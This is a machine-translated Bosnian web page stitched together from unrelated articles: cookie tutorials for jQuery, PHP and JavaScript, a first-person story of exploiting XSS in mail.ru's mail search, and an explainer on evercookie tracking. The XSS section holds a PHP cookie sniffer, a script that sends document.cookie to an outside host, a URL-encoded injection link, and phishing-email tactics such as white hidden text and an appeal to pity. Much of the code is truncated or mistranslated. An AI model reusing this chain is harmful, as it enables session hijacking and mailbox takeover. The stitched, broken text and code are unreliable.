Kolačići - podešavanje. Js Cookie Stealing Metode Cookie Setting

Vjerovatno je vrijedno početi od toga šta su kolačići i čemu služe. Kolačić je dio podataka koji se može pohraniti na strani korisnika i kasnije koristiti za implementaciju njegovih ideja.

Zamislite da vaša web lokacija ima mogućnost odabira sheme boja web stranice. Vrlo je zgodno to implementirati na kolačiće, jer će tema koju on odabere biti vidljiva samo njemu.

Kolačići postoje i u PHP iu jQueryju. Stoga ćemo svaki slučaj detaljnije razmotriti.

Detaljna uputstva za rad sa kolačićima na jQueryju

1. Podešavanje kolačića

Sada možemo pokušati kreirati naš prvi kolačić:

Šta je šta ovde?

« cookie_name» – naziv kolačića;

« cookie_value» – vrijednost kolačića;

« ističe” – broj dana čuvanja kolačića (u našem slučaju 3 dana). Nakon tog vremena, kolačići će se automatski izbrisati;

« put" - dostupnost kolačića na stranici (u našem slučaju, " / - dostupno na cijeloj web stranici). Opciono, možete postaviti samo određenu stranicu ili odjeljak gdje će kolačići biti dostupni, na primjer, " /audio/rock»;

« domena' je domena na kojoj je kolačić važeći. Ako imate poddomenu, možete je odrediti u ovom parametru, na primjer, " domena: "subdomain.your_site.ru"", u kom slučaju će kolačić biti dostupan samo na domeni " subdomain.your_site.ru»;

« siguran' je parametar koji pokazuje da kolačić treba prenijeti preko sigurnog https protokola.

Ovdje nisu svi parametri obavezni, a za postavljanje kolačića ova konstrukcija će biti dovoljna:

2. Primanje kolačića

Dobijanje kolačića je prilično jednostavno, možete to učiniti pomoću koda:

$.cookie("cookie_name");

Ovaj kod se može dodijeliti varijabli i koristiti za vaše potrebe:

Slažem se, vrlo je zgodno.

3. Uklanjanje kolačića

Da izbrišete vrijednost kolačića, postavite je na " null»:

$.cookie("cookie_name", null);

Na ovome je, mislim, završeno upoznavanje sa radom sa kolačićima na jQueryju. Ovo znanje je dovoljno za realizaciju vaših ideja.

Detaljna uputstva za rad sa kolačićima u PHP-u

Za razliku od prethodne opcije za rad s kolačićima, ovdje ne morate ništa povezivati.

1. Podešavanje kolačića

Da bismo postavili kolačiće u PHP-u, koristićemo ugrađenu funkciju " setcookie»:

Šta je šta ovde?

« cookie_name» – naziv kolačića;

« cookie_value» – vrijednost kolačića;

« vrijeme()+3600” – životni vijek kolačića u sekundama (u našem slučaju 1 sat). Ako postavimo životni vijek jednak " 0 “, tada će kolačić biti obrisan čim se pretraživač zatvori;

« / ” – odjeljak u kojem su kolačići dostupni (u našem slučaju dostupni su na cijeloj web stranici). Ako želite ograničiti odjeljak u kojem će kolačići biti dostupni, tada " / » zamijeni, na primjer, sa « /audio/rock»;

« your_site.com» – domena na kojoj će kolačić biti dostupan;

« istinito' je parametar koji pokazuje da je kolačić dostupan samo putem sigurnog https protokola. Inače, vrijednost je false;

« false' je parametar koji pokazuje da je kolačić dostupan jezicima za skriptiranje. Inače, istina (dostupno samo preko http).

I ovdje nisu svi parametri potrebni, a za kreiranje kolačića trebat će vam sljedeća konstrukcija:

Radi praktičnosti, vrijednost kolačića može se postaviti kroz varijablu:

2. Primanje kolačića

Da biste primili kolačiće, potrebno je da koristite:

$_COOKIE["cookie_name"];

Da biste izbjegli greške zbog mogućeg odsustva kolačića, koristite:

Kao u prethodnom primjeru jQuery kolačića, kolačići se mogu dodijeliti varijabli:

3. Uklanjanje kolačića

Brisanje kolačića u PHP-u je jednako jednostavno kao i u jQueryju. Sve što trebate učiniti je postaviti kolačić na praznu vrijednost i negativno vrijeme (vrijeme koje je već prošlo):

Setcookie("cookie_name", "", time() - 3600);

Vrijeme u ovaj primjer jednako prije sat vremena, što je dovoljno za brisanje kolačića.

Želim napomenuti da je u nekim slučajevima upotreba kolačića mnogo racionalnija od korištenja baze podataka za implementaciju potrebne funkcionalnosti.

Posljednje ažurirano: 1.11.2015

Jedna od mogućnosti za čuvanje podataka u javascriptu je upotreba kolačića. Svojstvo kolačića je namijenjeno za rad s kolačićima u objektu dokumenta.

Da biste postavili kolačiće, dovoljno je dodijeliti niz s kolačićima svojstvu document.cookie:

U ovom slučaju se postavlja kolačić pod nazivom "login" koji ima vrijednost "tom32". I u većini pretraživača možemo ga pregledati, saznati sve informacije o njemu, a zatim ga možemo koristiti u aplikaciji:

Niz kolačića prihvata do šest različitih parametara: naziv kolačića, vrijednost, datum isteka (ističe), putanju (put), domen (domen) i siguran. Gore su korištena samo dva parametra: naziv kolačića i vrijednost. To jest, u slučaju niza "login=tom32;" Kolačić ima ime login i vrijednost tom32.

Ali takvi kolačići imaju vrlo ograničen vijek trajanja: ako izričito ne postavite datum isteka, kolačić će se izbrisati kada se pretraživač zatvori. Ova situacija je možda idealna za slučajeve kada trebate izbrisati sve informacije nakon što izađete iz web aplikacije i zatvorite pretraživač. Međutim, ovakvo ponašanje nije uvijek prikladno.

I u ovom slučaju, moramo postaviti parametar expires, odnosno datum isteka kolačića:

To jest, kolačić za prijavu ističe u ponedjeljak, 31. avgusta 2015. u 00:00. Format parametra expires je veoma važan. Međutim, može se generirati programski. Da bismo to učinili, možemo koristiti metodu toUTCString() objekta Date:

var expire = novi datum(); expire.setHours(expire.getHours() + 4); document.cookie = "login=tom32;expires=" + expire.toUTCString() + ";";

U ovom slučaju, trajanje kolačića će biti 4 sata.

Ako trebamo postaviti kolačiće za određenu putanju na stranici, onda možemo koristiti parametar putanje. Na primjer, želimo postaviti kolačiće samo za putanju www.mysite.com/home:

U ovom slučaju, za druge staze na stranici, na primjer, www.mysite.com/shop, ovi kolačići neće biti dostupni.

Ako naša stranica ima više domena i želimo postaviti kolačiće direktno za određenu domenu, tada se može koristiti parametar domene. Na primjer, imamo poddomenu na našoj web stranici blog.mysite.com:

Document.cookie = "login=tom32;expires=pon, 31. avgust 2015. 00:00:00 GMT;path=/;domain=blog.mysite.com;";

Parametar path=/ specificira da će kolačići biti dostupni za sve direktorije i putanje poddomena blog.mysite.com.

Posljednji parametar - secure specificira korištenje SSL-a (SecureSockets Layer) i pogodan je za stranice koje koriste https protokol. Ako je ovaj parametar postavljen na true, kolačići će se koristiti samo prilikom uspostavljanja sigurne ssl veze. Podrazumevano, ovaj parametar je netačan.

Document.cookie = "login=tom32;expires=pon, 31. avgust 2015. 00:00:00 GMT;path=/;domain=blog.mysite.com;secure=true;";

Primanje kolačića

Za najjednostavnije izdvajanje kolačića iz pretraživača, dovoljno je pogledati svojstvo document.cookie:

var expire = novi datum(); expire.setHours(expire.getHours() + 4); document.cookie = "city=Berlin;expires="+expire.toUTCString()+";"; document.cookie = "country=Germany;expires="+expire.toUTCString()+";"; document.cookie = "login=tom32;"; document.write(document.cookie);

Ovdje su postavljena tri kolačića, a pretraživač će nam prikazati sve ove kolačiće:

Preuzeti kolačići ne uključuju parametre isteka, putanje, domene i sigurne parametre. Osim toga, sami kolačići su razdvojeni tačkom i zarezom, tako da morate napraviti još neke transformacije da biste dobili njihovo ime i vrijednost:

Varcookies = document.cookie.split(";"); for(var i=0; i "); document.write("Vrijednost: " + vrijednost + "

"); }

Pripremio: Andrey Kosyak Datum izdanja: 22.12.2010

U prvom članku Kolačići - pečemo kolačiće, gledali smo kolačiće sa velike udaljenosti, tako da ako razumijete opšte pojmove i svrhu kolačića, možete preći direktno na pečenje (dobio sam pećnicu), stoga smo stavili kulinarsku kapu i priđi bliže. Hajde da pečemo!

Art. Priprema

Već znate da je kolačić niz, a znate i kako kolačić izgleda kroz oči pretraživača. Kada se instalira u pretraživač, kolačić izgleda kao isti niz:

"cookieName= cookieValue; ističe= pet, 21. januar 2021. 06:10:00 GMT; put= /; domena= lessons.website; siguran= istina; "

Uslove za postojanje kolačića specificira pet parametara (parovi ključ=vrijednost) (VAŽNO! Svaki mora biti praćen znakom za razdvajanje ";"), razmotrite ih:

Punjenje kolačića

"cookieName=cookieValue;" - glavni parametar kolačića, bez njega kolačić gubi svoje značenje. Ovdje cookieName je jedinstveno ime za kolačić, a cookieValue je informacija (vrijednost) koju će pohraniti. Gledajući malo unaprijed, ja ću recimo da vrijednost može biti bilo šta, bilo koja struktura pohranjenih podataka koja vam odgovara (da, čak i JSON), kao i bilo koji karakter koji vam se sviđa. Jedini par koji je potreban prilikom postavljanja kolačića.

Životni vijek

"ističe=Pet, 21 Jan 2021 06:10:00 GMT" - iako je ovaj par opcioni, on igra veoma važnu ulogu, zajedno sa prvim. Ovaj parametar određuje životni vijek kolačića, naime, do najbliže sekunde, na navedenog datuma, kolačić će „dugo umrijeti“. Ako ovaj parametar nije naveden, tada će kolačić biti važeći samo za vrijeme trajanja sesije, što znači da će kada se pretraživač zatvori, biti obrisan.

Važna stvar je format datuma. Datum se mora navesti SAMO u tekstualnom formatu (pet, 21. januar 2021. 06:10:00 GMT). Opet, gledajući malo unaprijed, reći ću da će nam objekt Date pomoći u tome, ima sve potrebne alate.

Instalacijski put

"put=/" - ovaj parametar specificira putanju (direktorij) za koji je kolačić važeći. Sada putanja ima vrijednost "/", ovo nije ništa drugo do korijenski direktorij, tako da će kolačić biti čitljiv od strane apsolutno svih direktorija stranice Ako pristup kolačiću treba biti ograničen, tada parametar putanje jednostavno nije naveden ili je u njemu naveden zajednički roditeljski direktorij, a kolačić će biti postavljen za određeni direktorij, ali su specifičnosti takve da će kolačić biti dostupan svim njegovim poddirektorijumima, istovremeno nije vidljiv za susjedne i roditeljske direktorije.

čemu ovo služi? Zamislite elementarnu situaciju: internet kafe, prvo je došao korisnik Vasya, radio sa svojom stranicom na društvenoj mreži, a nakon njega je došao Petya i na istom računaru, u istoj mreži, radio sa svojom stranicom. Stranice članova nalaze se u istoj domeni, ali se obično nalaze u susjednim direktorijima. Na primjer: Vasjina stranica je http://socset.com/vasya, Petjina stranica je http://socset.com/petya. Možete zamisliti kakav će haos biti ako se kolačići instaliraju u korijenski direktorij: Vasya će moći raditi s Petyinim kolačićima i obrnuto. Mislim da se to neće svidjeti ni jednom ni drugom. Stoga će u ovom slučaju biti prikladno ako su kolačići vezani samo za direktorij određenog korisnika, dakle, za sve njegove poddirektorije.

Domain

"domena=lessons.site" - ovaj par definiše domenu u kojoj vrijede kolačići. Po pravilu, rijetko ga morate eksplicitno koristiti. Situacija sa ovim parametrom je slična situaciji sa parametrom putanje, s tom razlikom što je kod Domain mi radimo sa domenima i poddomenama, a ne direktorijumima, tj. u ovom slučaju, kolačići postavljeni za lekcije poddomena..website.. Ako parametar nije specificiran, tada se podrazumevano koristi adresa domene dokumenta.

Sigurnost

"siguran=true" je sigurnosna postavka. Ako je ova postavka postavljena na true, pretraživač će samo slati kolačiće serveru koji ih zatraži preko sigurnog kanala (SSL). Ova postavka se također rijetko koristi. Zadana vrijednost je lažna.

Prva palačinka je grudasta?

Sada pokušajmo da naš pretraživač tretiramo kolačićem. Objekt document.cookie će nam pomoći u tome:

Document.cookie = "firstCookie=Prva palačinka grudasta?; expires=Pe, 21. januar 2021. 06:10:00 GMT; path=/;";

Rezultat se može vidjeti otvaranjem odjeljka kolačića u vašem pregledniku ili jednostavno:

Document.cookie = "firstCookie=Prva palačinka grudasta?; expires=Pe, 21. januar 2021. 06:10:00 GMT; path=/;"; upozorenje(document.cookie);

I nimalo kvrgavo! Sve zuji, kolačić je na svom mestu.

Napomena

Skrećem vam pažnju na osobenost pretraživača na WebKit-u. Odbijaju postavljanje kolačića ako se dokument otvori lokalno. Obično koristim lokalni server u takvim slučajevima, biće potreban i pri radu sa AJAX-om. Stoga, kako kažu, must have! Na primjer, Denwer (link na kraju članka).

Više kolačića

Shvatili smo jedan kolačić. Ali šta ako trebate pohraniti, na primjer, podatke iz obrasca (prijava, e-mail, broj telefona, itd.)? U ovom slučaju možete učiniti sljedeće:

Document.cookie = "myLogin=Moja prijava; expires=Pe, 21 Jan 2021 06:10:00 GMT; path=/;"; document.cookie = " [email protected]; expires=Pe, 21 Jan 2021 06:10:00 GMT; path=/;"; document.cookie = "myPhone=1234567; expires=Pe, 21 Jan 2021 06:10:00 GMT; path=/;";

Dakle, imamo tri kolačića koji pohranjuju korisničko ime, adresu e-pošte i broj telefona. Ali sjećate li se ograničenja broja kolačića s jedne domene, međutim, kao i njihovog ukupnog broja? To znači da na ovaj način možemo pohraniti samo ograničen broj vrijednosti za polja. A ako nam takvo ograničenje "veže" ruke, možemo učiniti ovo:

Var formData = escape("Moja prijava; [email protected];1234567"); document.cookie = "myFormCookie="+formData+"; expires=Pe, 21 Jan 2021 06:10:00 GMT; path=/;";

Kao rezultat, imamo 1 korišteno mjesto za kolačiće. Sve podatke sam "zalijepio" u jednu varijablu i razdvojio ih simbolom ";", međutim, bilo koji simbol se može koristiti kao separator unutar varijable, ovo je već naša inicijativa, ovdje samo treba paziti da ovaj separator se ne pojavljuje u vrijednostima polja, inače će biti poteškoća u budućnosti kada ih bude potrebno pročitati. U ovom slučaju, naravno, morate imati na umu i ograničenje veličine kolačića (4kb).

Zašto funkcija bijega? Prilično je jednostavno, kodira vrijednost kolačića u heksadecimalni prikaz. Za što? Prvo, pretraživač šalje kolačiće na server, a kako bi se podaci podjednako čitali na serverima pod bilo kojim sistemom, koristi se ovo kodiranje. Drugo, ako koristimo graničnik ";" u varijabli sa vrijednostima polja, ako ne kodiramo ovaj string, tada barem kolačić jednostavno neće biti ispravno postavljen, jer je separator ";" koristi se za odvajanje parametara samog kolačića. Ovaj trenutak treba usvojiti i ubuduće ga koristiti po defaultu prilikom prijenosa informacija (kolačić, AJAX).

"...i ne možeš zaustaviti vrijeme ni na trenutak"

Sada se pozabavimo parametrom expires. Neugodnost je u tome što smo do ovog trenutka ručno postavljali vijek trajanja kolačića. Ali, u stvarnim uslovima, ovaj pristup praktično nije primjenjiv. U najmanju ruku, jer svakim sljedećim posjetom web-stranici životni vijek kolačića treba produžiti za neku fiksnu liniju, što je, općenito, opravdano i logično. Stoga će nam objekt Date u potpunosti pomoći u ovoj stvari:

Var formData = escape("Moja prijava; [email protected];1234567"); cookieExp = new Date(); // kreirajte objekt datuma cookieExp.setMonth(cookieExp.getMonth()+1); // postavite tekući mjesec i dodajte mu još jedan document.cookie = "myFormCookie= "+ formData+"; expires="+cookieExp.toGMTString()+"; path=/;";

Ovim radnjama postavljamo vijek trajanja kolačića na točno 1 mjesec. U ovom članku neću se detaljno zadržavati na objektu Date, samo ću opisati šemu za postavljanje datuma:

  • red 2: deklarirajte cookieExp kao objekt Date. Sada cookieExp sadrži trenutni datum;
  • red 3: resetiranje cookieExp mjeseca. Koristeći metodu getMonth, preuzimamo tekući mjesec i dodajemo mu još jedan. Kao rezultat toga, sljedeći mjesec će biti upisan u cookieExp;
  • red 6: u ovom redu koristimo metodu toGMTString() da pretvorimo datum u tekstualni format;

Dakle, u zavisnosti od životnog veka kolačića koji želite da postavite, mogu se koristiti i druge metode objekta Date: od get/setMilliseconds() do get/setFullYear() (od dobijanja/postavljanja milisekundi do dobijanja/postavljanja godine).

Nema smisla demonstrirati ostale parametre, osim toga, njihove zadane vrijednosti u velikoj većini slučajeva će vam savršeno odgovarati.

Zaključak

Kao što vidite, postavljanje kolačića nije nešto natprirodno, samo trebate zapamtiti (koji put se ponavljam :)) ograničenja i sve će biti tipi-type, pa ili topi-top. Sljedeći materijal će biti o tome kako izvaditi naše kolačiće iz pećnice. Ovdje morate malo razmisliti.

Gdje ići

  • sljedeće - Kolačići - preuzimanje
  • prethodni -

Ne tako davno sam pročitao post na Habréu, koji je predložio prisustvovanje besplatnom događaju posvećenom pitanjima sigurnosti informacija. S obzirom na to da se događaj održavao u mom gradu, odlučio sam da moram ići tamo bez greške. Prva lekcija je bila posvećena ranjivosti na sajtovima kao što je XSS. Nakon lekcije, odlučio sam da moram učvrstiti stečeno znanje u realnim uslovima. Odabrao sam za sebe nekoliko stranica koje se odnose na moj grad i počeo se truditi da svoj skript zalijepim u sve oblike. U većini slučajeva, skripta je bila filtrirana. Ali desilo se da je “uzbuna” proradila i pojavila se moja poruka. Pronađenu ranjivost prijavio sam administratorima i oni su brzo sve popravili.

Jednog od tih dana, dok sam provjeravao svježu poštu na mail.ru, naišao sam na obrazac za pretraživanje pisama u poštanskom sandučetu. Povremeno sam koristio ovu pretragu da pronađem nešto što mi treba u gomili svojih starih pisama. Pa, pošto sam u poslednjih par dana skoro svuda gde sam mogao ubacio svoj „alert“, moja ruka je refleksno posegnula za ovim formularom za pretragu. Otkucao sam svoj kod skripte i pritisnuo Enter. Zamislite moje iznenađenje kada sam na ekranu ugledao bolno poznatu poruku...


Na predavanju Open InfoSec Days govornik je rekao da su programeri prilično skeptični u pogledu ranjivosti ove vrste, kažu, „alert? Pa, pa šta? Ovo nije opasno”. Ako sam se na drugim sajtovima zadovoljio samo ovim prozorom sa svojom porukom, onda sam u ovom slučaju odlučio da idem dalje i pokažem šta bi moglo biti od takvog „upozorenja“.

Dakle, skripta radi, što znači da postoji ranjivost. Stoga možete pokušati pokrenuti neku drugu skriptu. Na primjer, skripta koja nam prosljeđuje kolačiće drugog korisnika. Da bi skripta radila, moramo natjerati korisnika da izvrši našu skriptu. To se može učiniti tako da mu pošaljete pismo s odgovarajućom vezom, nakon klika na koje će se pretražiti poštanski sandučić i izvršiti kod koji nam je potreban.

Bilo je potrebno neko vrijeme i mnogo eksperimentiranja da se razumije mehanika ranjivosti. Ponekad je skripta funkcionirala, ponekad je bila filtrirana. Nakon određenog truda, empirijski se pokazalo da skripta radi 100% samo ako pretraga slova daje pozitivan rezultat. Odnosno, kada korisnik izvrši pretragu sa našom skriptom, potrebno je da se u njegovom sandučetu nađe barem jedno slovo prema navedenim parametrima. Nije ga teško postaviti.

if (isset($_GET["cookie"]))
{
$text = "Novi kolačić prihvatam od ". $_SERVER["REMOTE_ADDR"] ." na ". date("l jS \of F Y h:i:s A");
$text .= "\n".str_repeat("=", 22) . "\n" . $_GET["cookie"]."\n".str_repeat("=", 22)."\n";
$file = fopen("sniff.txt", "a");
fwrite($fajl, $tekst);
fclose($file);
}
?>

Također, umjesto “alert”, potrebna nam je skripta koja će prenijeti kolačiće na naš sniffer. Napisat ćemo ovu skriptu u posebnu datoteku i učitati je u našu pretragu. Kreiran test.js fajl sa pravi kod i postavljeno na hosting. Kod skripte je ovaj:

Img=novaSlika();
img.src="http://sitename.ru/sniff.php?cookie="+document.cookie;
funkcija F() (
location="http://www.solife.ru";
}
setTimeout(F, 5000);

Ono što bih ovdje htio objasniti. Postavimo se na mjesto napadača. Korisnik treba da klikne na link. Kako ga natjerati da to uradi? Možete obećati zlatne planine i da biste ih dobili potrebno je da pratite naš link ka sajtu. Ali mislim da to neće uspjeti. Ljudi više nisu na ovome (ja sama stalno brišem takva pisma, a da ih nisam ni pročitala). Stoga ćemo se igrati na ljudsko sažaljenje, jer ono još uvijek postoji u prirodi. Zamolit ćemo vas da glasate na stranici za spas istrijebljenih životinja. Prvo ćemo uzeti kolačiće, a zatim ćemo korisnika preusmjeriti na stranicu za glasanje. Vremensko ograničenje za preusmjeravanje je postavljeno na 5 sekundi, inače kolačići jednostavno nisu imali vremena da se prenesu na njuškalo, a korisnik je odmah prebačen na stranicu o životinjama. Umjesto "alert" koristio sam sljedeću skriptu:

Kada su scenariji bili gotovi, počeo sam pisati pismo. Došao do sljedećeg sadržaja:


Ispalo je dosta cinično, ali sam pokušao da uslove približim najrealnijim. Na kraju pisma je dodat red sa skriptom, to je zato da se naše pismo nađe kada pretražimo. Da linija ne izaziva nepotrebna pitanja, ofarbao sam je u bijelo. Stavio sam i razmak u riječ "http" kako se string ne bi prepoznao i pretvorio u link. U suprotnom, uprkos činjenici da je linija skripte napisana bijelim fontom, veza bi bila označena plavom bojom kod primaoca, a nama ovo nije potrebno. Pametna pretraga će i dalje pronaći i prepoznati ovaj niz, bez obzira na razmake.

E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

Za skriptu sam primijenio URL kodiranje tako da ništa nije filtrirano. Dodao sam i parametar “q_folder=0” za pretragu, tako da se pretraga odvija u folderu Inbox.

Pismo je spremno, šaljemo ga. Koristio sam svoje drugo poštansko sanduče na istom servisu kao i primalac. Gledamo šta je stiglo u drugu kutiju.

Naš tekst skripte nije vidljiv jer se stapa u pozadinu. Hajde da kliknemo na link i vidimo šta se dešava. Korisnik se pomera na rezultate pretrage e-pošte prema parametru koji smo postavili. Naše pismo koje smo poslali vidljivo je u rezultatima pretrage. U ovom trenutku, naša skripta je već proradila i poslala je kolačiće korisnika na njuškalo. Nakon 5 sekundi (vrijeme ovisi o postavkama skripte), korisnik se preusmjerava na stranicu za glasanje.

Provjeravam svoj sniff.txt fajl:

Pošto mi nije cilj da kradem tuđe kutije ili da im pristupim, ovdje ću završiti priču. Ali teoretski, možete zamijeniti svoje kolačiće tuđim i dobiti pristup tuđem poštanskom sandučetu. Općenito, ako napadač zapali metu, tada će naći upotrebu primljenih informacija.

Želeo bih da se zahvalim Sergeju Belovu (

Kolačići su sigurna tehnologija koja omogućava web stranici da "zapamti" korisnika,
sačuvajte njegove postavke i nemojte svaki put tražiti njegovo korisničko ime i lozinku. Može
mislite da ako izbrišete kolačiće u vašem pretraživaču, stranica vas neće prepoznati. Ali ovo
samopouzdanje je varljivo.

Možete brinuti o svojoj anonimnosti koliko god želite, koristite proxy
i VPN, krivotvoriti zaglavlja HTTP zahtjeva koji odaju sistem u upotrebi,
verzija pretraživača, vremenska zona i more drugih informacija, ali web stranicu nije briga
biće načina da prepoznate činjenicu da ste već bili na tome. U mnogima
slučajevima, to nije posebno kritično, ali ne u situaciji kada na nekim
usluge, morate se predstaviti kao drugi korisnik ili jednostavno spremiti
anonimnost. Lako je zamisliti kako je sistem za borbu protiv prijevara neki uslovljen
finansijska institucija, ako utvrdi da je korišćen isti računar
autorizacija na račune potpuno različitih ljudi. I da li je lepo
biti svjesni da neko na webu može pratiti vaše kretanje? Teško. Ali
o svemu po redu.

Kako funkcionišu kolačići?

Kolačići se koriste od pamtivijeka za identifikaciju korisnika.
Kolačići (od engleskog "cookies") su mali dio tekstualnih informacija,
koje server šalje pretraživaču. Kada korisnik pristupi serveru
(ukuca svoju adresu u liniju pretraživača), server može pročitati informacije,
sadržane u kolačićima i na osnovu njihove analize izvršiti bilo kakve radnje.
Na primjer, u slučaju ovlaštenog pristupa nečemu putem weba u kolačićima
login i lozinka se čuvaju tokom sesije, što omogućava korisniku da to ne čini
unesite ih ponovo kad god se od vas zatraži svaki dokument zaštićen lozinkom. Dakle
tako da web stranica može "zapamtiti" korisnika. Tehnički to izgleda
na sledeći način. Kada zatraži stranicu, pretraživač šalje kratku poruku web serveru.
Tekst HTTP zahtjeva.

Na primjer, za pristup stranici www.example.org/index.html pretraživač
šalje sljedeći zahtjev serveru www.example.org:

GET /index.html HTTP/1.1
Domaćin: www.example.org

Server odgovara slanjem tražene stranice zajedno sa tekstom,
koji sadrži HTTP odgovor. Može sadržavati instrukciju pretraživaču za spremanje kolačića:

HTTP/1.1 200 OK
content-type: text/html
Set-Cookie: ime=vrijednost

Ako postoji niz Set-cookie, pretraživač pamti string ime=vrijednost (ime=
vrijednost) i šalje ga nazad serveru sa svakim sljedećim zahtjevom:

GET /spec.html HTTP/1.1
Domaćin: www.example.org
Kolačić: ime=vrijednost
Prihvati: */*

Sve je vrlo jednostavno. Ako je server primio kolačiće od klijenta i ima ih
baze, on ih definitivno može obraditi. Dakle, ako su to bili kolačići sa
neke informacije o autorizaciji, korisnik u trenutku posjete neće imati
pitati za korisničko ime i lozinku. Po defaultu, kolačići imaju fiksni vijek trajanja.
(iako može biti vrlo velika), nakon čega umiru. I bilo koje
sačuvane kolačiće korisnik može lako izbrisati koristeći
odgovarajuću opciju koja se nalazi u bilo kojem pretraživaču. Ova činjenica je jaka
uznemiruje vlasnike mnogih resursa koji ne žele da izgube kontakt
posjetitelj. Važno im je da ga prate, da shvate da je „ova osoba bila sa nama
jučer, i prekjučer itd.” Ovo posebno važi za razne analizatore
saobraćaj, sistemi za vođenje statistike, baner mreže itd. Tu i tamo
zabava počinje, jer programeri koriste sve vrste
trikovi kojih mnogi korisnici nisu ni svjesni. Oni su u pokretu
razni trikovi.

Flash kolačići

Stvar je u tome što pored uobičajenih HTTP "dobrota", do kojih svi već odavno
navikli, sada se aktivno koriste alternativna skladišta gdje je pretraživač
može pisati podatke na strani klijenta. Prva stvar koju treba spomenuti je
skladištenje voljenog i omraženog Flasha u isto vrijeme (za one korisnike koji
koji je instaliran). Podaci se pohranjuju u takozvanim LSO-ovima (Local Shared
Objekti) - datoteke slične kolačićima u formatu, koje se pohranjuju lokalno
računar korisnika. Pristup je na mnogo načina sličan uobičajenim "zemljima" (u ovom
U slučaju, mala količina se takođe čuva na računaru korisnika
tekstualni podaci), ali ima neke prednosti:

  • Flash kolačići su zajednički za sve pretraživače na računaru (za razliku od
    od klasičnog kolačića, koji je vezan za pretraživač). Postavke, informacije
    o sesiji, kao i recimo neki identifikator za praćenje korisnika,
    nisu vezani za neki određeni pretraživač, već postaju opšti za
    svima.
  • Flash kolačići vam omogućavaju da sačuvate mnogo više podataka (npr
    obično 100 Kb), što povećava broj korisnička podešavanja,
    dostupno za uštedu.

U praksi, LSO postaje vrlo jednostavna i pristupačna tehnologija praćenja.
korisnik. Razmislite o tome: kad bih vam predložio da uklonite sve "dobrote" iz njega
sistem, da li biste se setili Flash kolačića? Vjerovatno ne. Sada pokušajte uzeti
bilo koji gledalac, na primjer, besplatan

FlashCookiesPogledajte i vidite koliko je zanimljivih stvari zabilježeno
Flash memorije. Spisak sajtova koji zaista ne žele
izgubite svoj trag, čak i ako obrišete keš pretraživača (zajedno sa dobrotama).

Kolačići svuda sa evercookijem

Ali ako su napredni korisnici čuli za LSO i manje-više dobro
programeri, postojanje drugih tehnika skladištenja podataka je ponekad veoma
sofisticiran (ali efikasan), mnogi ni ne sumnjaju. Nabavite neke nove
spremišta koja su se pojavila u
(skladištenje sesije,
Lokalna pohrana, Globalna pohrana, Skladištenje baze podataka putem SQLite-a), što možete
pročitajte u članku "". Ovaj problem je ozbiljno zbunio poljskog stručnjaka
Službenik za sigurnost Samy Kamkar. Kao rezultat, poseban
JavaScript biblioteka evercookie, koja je posebno dizajnirana za
kreirajte najotpornije kolačiće u pretraživaču. Neko će možda pitati: „Zašto
je li potrebno?". Vrlo jednostavno: da bi se jedinstveno identificirali
posjetitelj stranice ako ponovo dođe. Često takvi kolačići koji se teško mogu ubiti
nazivaju se kolačićima za praćenje i čak ih neki antivirusi definišu kao
prijetnja privatnosti. Evercookie može smanjiti sve pokušaje da ostane anoniman
nula.

Tajna je u tome što evercookie koristi sve što je dostupno pretraživaču odjednom.
skladištenje: obični HTTP kolačići, LSO, HTML5 kontejneri. Osim toga, ide
nekoliko lukavih trikova koji vam, bez manje uspjeha, omogućavaju da nastavite
željenu oznaku na računaru. Među njima: generiranje posebnih PNG-slika,
korištenje historije pretraživača, pohranjivanje podataka korištenjem ETag oznake, kontejner
userData in Internet Explorer- ispostavilo se da postoji mnogo opcija.

Koliko ovo efikasno funkcioniše, možete videti na sajtu.
programer -
http://samy.pl/evercookies. Ako kliknete na "Kliknite za kreiranje
evercookie", kolačić sa nasumičnim brojem će biti kreiran u pretraživaču. Pokušajte
izbrišite kolačiće gdje god je to moguće. Kladim se da jesi
Pomislio sam: "Gdje još mogu izbrisati kolačiće, osim u postavkama pretraživača?".
Jeste li sigurni da ste sve izbrisali? Ponovo učitajte stranicu da biste bili sigurni, možete čak i ponovo učitati
otvorite pretraživač. Sada slobodno kliknite na dugme "Kliknite da ponovo otkrijete kolačiće".
wtf? To nije spriječilo stranicu da podatke preuzima odnekud - u poljima stranice
prikazan je broj koji je pohranjen u kolačićima. Ali jesmo li ih izgubili? Kako
je li uspjelo? Pokušajmo razumjeti neke tehnike.

Kolačići u PNG formatu

Izuzetno zanimljiva tehnika koja se koristi u Evercookie-u je pristup
pohranjivanje podataka u keširane PNG slike. Kada se evercookie postavi
kolačiće, odnosi se na evercookie_png.php skriptu sa posebnim HTTP "bun",
različit od onog koji se koristi za pohranjivanje standardnih informacija o
sesije. Ove posebne kolačiće čita PHP skripta koja kreira
PNG slika u kojoj su sve RGB (boje) vrijednosti postavljene prema
sa informacijama o sesiji. Konačno, PNG datoteka se šalje klijentskom pretraživaču
sa napomenom: "fajl mora biti keširan 20 godina".

Nakon što primi ove podatke, evercookie briše specijalne kolačiće kreirane ranije.
HTTP kolačiće, zatim upućuje isti zahtjev istoj PHP skripti, ali ne
pružanje informacija o korisniku. Vidi da su podaci koji ga zanimaju
Ne, i ne može generirati PNG. Umjesto toga, pretraživač se vraća
lažni HTTP odgovor "304 Not Modified", koji uzrokuje da povuče datoteku iz
lokalni keš. Slika iz keš memorije se ubacuje na stranicu pomoću oznake
HTML5 Canvas. Jednom kada se to dogodi, evercookie čita svaki piksel
sadržaj platna, izdvajanje RGB vrijednosti i na taj način vraćanje
originalni podaci kolačića koji su pohranjeni na slici. Voila, sve
radi.

Savjet sa web historijom

Druga tehnika direktno koristi istoriju pretraživača. Jednom pretraživač
instalira bundu, evercookie kodira podatke koristeći Base64 algoritam,
koje treba sačuvati. Pretpostavimo da je ovaj podatak niz,
rezultirajući "bcde" nakon konverzije u Base64. biblioteka sekvencijalno
pristupa sljedećim URL-ovima u pozadini:

google.com/evercookie/cache/b
google.com/evercookie/cache/bc
google.com/evercookie/cache/bcd
google.com/evercookie/cache/bcde
google.com/evercookie/cache/bcde-

Stoga se ovi URL-ovi pohranjuju u historiji. Slijedi specijal
trik - CSS History Knocker, koji uz pomoć JS skripte i CSS dozvoljava
provjerite da li je korisnik posjetio navedeni resurs ili ne (više detalja ovdje -
samy.pl/csshack). Za
bun provjerava evercookie prolazi kroz sve moguće Base64 znakove
google.com/evercookie/cache počevši od "a" i ide dalje, ali samo
